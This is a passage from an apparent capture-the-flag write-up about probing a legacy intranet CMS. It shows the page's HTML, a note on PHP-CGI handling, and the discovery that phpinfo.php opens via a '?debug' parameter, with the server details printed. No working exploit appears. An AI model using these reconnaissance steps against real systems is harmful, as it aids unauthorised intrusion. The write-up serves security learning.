    <span class="nc">.info</span> <span class="p">{</span> <span class="nl">background</span><span class="p">:</span> <span class="nx">#eef</span><span class="p">;</span> <span class="nl">padding</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span> <span class="nl">margin</span><span class="p">:</span> <span class="m">20px</span> <span class="m">0</span><span class="p">;</span> <span class="nl">border-radius</span><span class="p">:</span> <span class="m">5px</span><span class="p">;</span> <span class="p">}</span>
    <span class="nc">.warning</span> <span class="p">{</span> <span class="nl">background</span><span class="p">:</span> <span class="nx">#fff3cd</span><span class="p">;</span> <span class="nl">border</span><span class="p">:</span> <span class="m">1px</span> <span class="nb">solid</span> <span class="nx">#ffeeba</span><span class="p">;</span> <span class="nl">padding</span><span class="p">:</span> <span class="m">10px</span><span class="p">;</span> <span class="nl">margin</span><span class="p">:</span> <span class="m">10px</span> <span class="m">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="nc">.resources</span> <span class="p">{</span> <span class="nl">margin</span><span class="p">:</span> <span class="m">20px</span> <span class="m">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="nc">.resources</span> <span class="nt">li</span> <span class="p">{</span> <span class="nl">margin</span><span class="p">:</span> <span class="m">5px</span> <span class="m">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="nt">a</span> <span class="p">{</span> <span class="nl">color</span><span class="p">:</span> <span class="nx">#007bff</span><span class="p">;</span> <span class="nl">text-decoration</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span> <span class="p">}</span>
    <span class="nt">a</span><span class="nd">:hover</span> <span class="p">{</span> <span class="nl">text-decoration</span><span class="p">:</span> <span class="nb">underline</span><span class="p">;</span> <span class="p">}</span>
  <span class="nt">&lt;/style&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>
  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"header"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;h1&gt;</span>🏢 GiveBack LLC Internal CMS System<span class="nt">&lt;/h1&gt;</span>
    <span class="nt">&lt;p&gt;&lt;em&gt;</span>Development Environment – Internal Use Only<span class="nt">&lt;/em&gt;&lt;/p&gt;</span>
  <span class="nt">&lt;/div&gt;</span>

  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"warning"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;h4&gt;</span>⚠️  Legacy Notice<span class="nt">&lt;/h4&gt;</span>
    <span class="nt">&lt;p&gt;</span>**SRE** - This system still includes legacy CGI support. Cluster misconfiguration may likely expose internal scripts.<span class="nt">&lt;/p&gt;</span>
  <span class="nt">&lt;/div&gt;</span>

  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"resources"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;h3&gt;</span>Internal Resources<span class="nt">&lt;/h3&gt;</span>
    <span class="nt">&lt;ul&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/admin/"</span><span class="nt">&gt;</span>/admin/<span class="nt">&lt;/a&gt;</span> — VPN Required<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/backups/"</span><span class="nt">&gt;</span>/backups/<span class="nt">&lt;/a&gt;</span> — VPN Required<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/runbooks/"</span><span class="nt">&gt;</span>/runbooks/<span class="nt">&lt;/a&gt;</span> — VPN Required<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/legacy-docs/"</span><span class="nt">&gt;</span>/legacy-docs/<span class="nt">&lt;/a&gt;</span> — VPN Required<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/debug/"</span><span class="nt">&gt;</span>/debug/<span class="nt">&lt;/a&gt;</span> — Disabled<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/cgi-bin/info"</span><span class="nt">&gt;</span>/cgi-bin/info<span class="nt">&lt;/a&gt;</span> — CGI Diagnostics<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/cgi-bin/php-cgi"</span><span class="nt">&gt;</span>/cgi-bin/php-cgi<span class="nt">&lt;/a&gt;</span> — PHP-CGI Handler<span class="nt">&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/phpinfo.php"</span><span class="nt">&gt;</span>/phpinfo.php<span class="nt">&lt;/a&gt;&lt;/li&gt;</span>
      <span class="nt">&lt;li&gt;&lt;a</span> <span class="na">href=</span><span class="s">"/robots.txt"</span><span class="nt">&gt;</span>/robots.txt<span class="nt">&lt;/a&gt;</span> — Crawlers: Disallowed<span class="nt">&lt;/li&gt;</span>
    <span class="nt">&lt;/ul&gt;</span>
  <span class="nt">&lt;/div&gt;</span>

  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"info"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;h3&gt;</span>Developer Note<span class="nt">&lt;/h3&gt;</span>
    <span class="nt">&lt;p&gt;</span>This CMS was originally deployed on Windows IIS using <span class="nt">&lt;code&gt;</span>php-cgi.exe<span class="nt">&lt;/code&gt;</span>.
    During migration to Linux, the Windows-style CGI handling was retained to ensure
    legacy scripts continued to function without modification.<span class="nt">&lt;/p&gt;</span>
  <span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>There is an old school CGI web server here. CGI is a way to map URLs to programs / scripts that can run to generate the page. This is largely not a technology that’s in use any more, and only makes some sense here as a legacy internal application.</p>

<p>The links are mostly inaccessible (they say “VPN Required” or “Disallowed”). An interesting one is <code class="language-plaintext highlighter-rouge">/phpinfo.php</code>, but it fails:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>php <span class="nt">-r</span> <span class="s2">"echo file_get_contents('http://10.43.2.241:5000/phpinfo.php');"</span>
<span class="go">Access restricted
</span></code></pre></div></div>

<p>There’s a comment at the top of the page:</p>

<div class="language-html wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- Developer note: phpinfo accessible via debug mode during migration window --&gt;</span>
</code></pre></div></div>

<p>If I add <code class="language-plaintext highlighter-rouge">?debug</code> to the end, it works:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>php <span class="nt">-r</span> <span class="s2">"echo file_get_contents('http://10.43.2.241:5000/phpinfo.php?debug');"</span>
<span class="go">&lt;h1&gt;PHP Configuration - Development Environment&lt;/h1&gt;&lt;p style='color: red;'&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; This file should not be accessible in production!&lt;/p&gt;&lt;hr&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;head&gt;
&lt;style type="text/css"&gt;
body {background-color: #fff; color: #222; font-family: sans-serif;}
pre {margin: 0; font-family: monospace;}
a:link {color: #009; text-decoration: none; background-color: #fff;}
a:hover {text-decoration: underline;}
table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px rgba(0, 0, 0, 0.2);}
.center {text-align: center;}
.center table {margin: 1em auto; text-align: left;}
.center th {text-align: center !important;}
td, th {border: 1px solid #666; font-size: 75%; vertical-align: baseline; padding: 4px 5px;}
th {position: sticky; top: 0; background: inherit;}
h1 {font-size: 150%;}
h2 {font-size: 125%;}
h2 a:link, h2 a:visited{color: inherit; background: inherit;}
.p {text-align: left;}
.e {background-color: #ccf; width: 300px; font-weight: bold;}
.h {background-color: #99c; font-weight: bold;}
.v {background-color: #ddd; max-width: 300px; overflow-x: auto; word-wrap: break-word;}
.v i {color: #999;}
img {float: right; border: 0;}
hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}
:root {--php-dark-grey: #333; --php-dark-blue: #4F5B93; --php-medium-blue: #8892BF; --php-light-blue: #E2E4EF; --php-accent-purple: #793862}@media (prefers-color-scheme: dark) {
  body {background: var(--php-dark-grey); color: var(--php-light-blue)}
  .h td, td.e, th {border-color: #606A90}
  td {border-color: #505153}
  .e {background-color: #404A77}
  .h {background-color: var(--php-dark-blue)}
  .v {background-color: var(--php-dark-grey)}
  hr {background-color: #505153}
}
&lt;/style&gt;
&lt;title&gt;PHP 8.3.3 - phpinfo()&lt;/title&gt;&lt;meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /&gt;&lt;/head&gt;
&lt;body&gt;&lt;div class="center"&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;td&gt;
&lt;a href="http://www.php.net/"&gt;&lt;img border="0" src="data:image/png;base64,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" alt="PHP logo" /&gt;&lt;/a&gt;&lt;h1 class="p"&gt;PHP Version 8.3.3&lt;/h1&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;System &lt;/td&gt;&lt;td class="v"&gt;Linux legacy-intranet-cms-6f7bf5db84-gb975 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Build Date &lt;/td&gt;&lt;td class="v"&gt;Feb 16 2024 21:24:29 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Build System &lt;/td&gt;&lt;td class="v"&gt;Linux - Docker &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Build Provider &lt;/td&gt;&lt;td class="v"&gt;https://github.com/docker-library/php &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Configure Command &lt;/td&gt;&lt;td class="v"&gt; &amp;#039;./configure&amp;#039;  &amp;#039;--build=x86_64-linux-musl&amp;#039; &amp;#039;--with-config-file-path=/usr/local/etc/php&amp;#039; &amp;#039;--with-config-file-scan-dir=/usr/local/etc/php/conf.d&amp;#039; &amp;#039;--enable-option-checking=fatal&amp;#039; &amp;#039;--with-mhash&amp;#039; &amp;#039;--with-pic&amp;#039; &amp;#039;--enable-mbstring&amp;#039; &amp;#039;--enable-mysqlnd&amp;#039; &amp;#039;--with-password-argon2&amp;#039; &amp;#039;--with-sodium=shared&amp;#039; &amp;#039;--with-pdo-sqlite=/usr&amp;#039; &amp;#039;--with-sqlite3=/usr&amp;#039; &amp;#039;--with-curl&amp;#039; &amp;#039;--with-iconv=/usr&amp;#039; &amp;#039;--with-openssl&amp;#039; &amp;#039;--with-readline&amp;#039; &amp;#039;--with-zlib&amp;#039; &amp;#039;--enable-phpdbg&amp;#039; &amp;#039;--enable-phpdbg-readline&amp;#039; &amp;#039;--with-pear&amp;#039; &amp;#039;build_alias=x86_64-linux-musl&amp;#039; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Server API &lt;/td&gt;&lt;td class="v"&gt;CGI/FastCGI &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Virtual Directory Support &lt;/td&gt;&lt;td class="v"&gt;disabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Configuration File (php.ini) Path &lt;/td&gt;&lt;td class="v"&gt;/usr/local/etc/php &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Loaded Configuration File &lt;/td&gt;&lt;td class="v"&gt;(none) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Scan this dir for additional .ini files &lt;/td&gt;&lt;td class="v"&gt;/usr/local/etc/php/conf.d &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Additional .ini files parsed &lt;/td&gt;&lt;td class="v"&gt;/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP API &lt;/td&gt;&lt;td class="v"&gt;20230831 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Extension &lt;/td&gt;&lt;td class="v"&gt;20230831 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Extension &lt;/td&gt;&lt;td class="v"&gt;420230831 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Extension Build &lt;/td&gt;&lt;td class="v"&gt;API420230831,NTS &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Extension Build &lt;/td&gt;&lt;td class="v"&gt;API20230831,NTS &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Debug Build &lt;/td&gt;&lt;td class="v"&gt;no &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Thread Safety &lt;/td&gt;&lt;td class="v"&gt;disabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Signal Handling &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Memory Manager &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Multibyte Support &lt;/td&gt;&lt;td class="v"&gt;provided by mbstring &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Max Execution Timers &lt;/td&gt;&lt;td class="v"&gt;disabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;IPv6 Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;DTrace Support &lt;/td&gt;&lt;td class="v"&gt;disabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Registered PHP Streams&lt;/td&gt;&lt;td class="v"&gt;https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Registered Stream Socket Transports&lt;/td&gt;&lt;td class="v"&gt;tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Registered Stream Filters&lt;/td&gt;&lt;td class="v"&gt;zlib.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, convert.*, consumed, dechunk&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="v"&gt;&lt;td&gt;
&lt;a href="http://www.zend.com/"&gt;&lt;img border="0" src="data:image/png;base64,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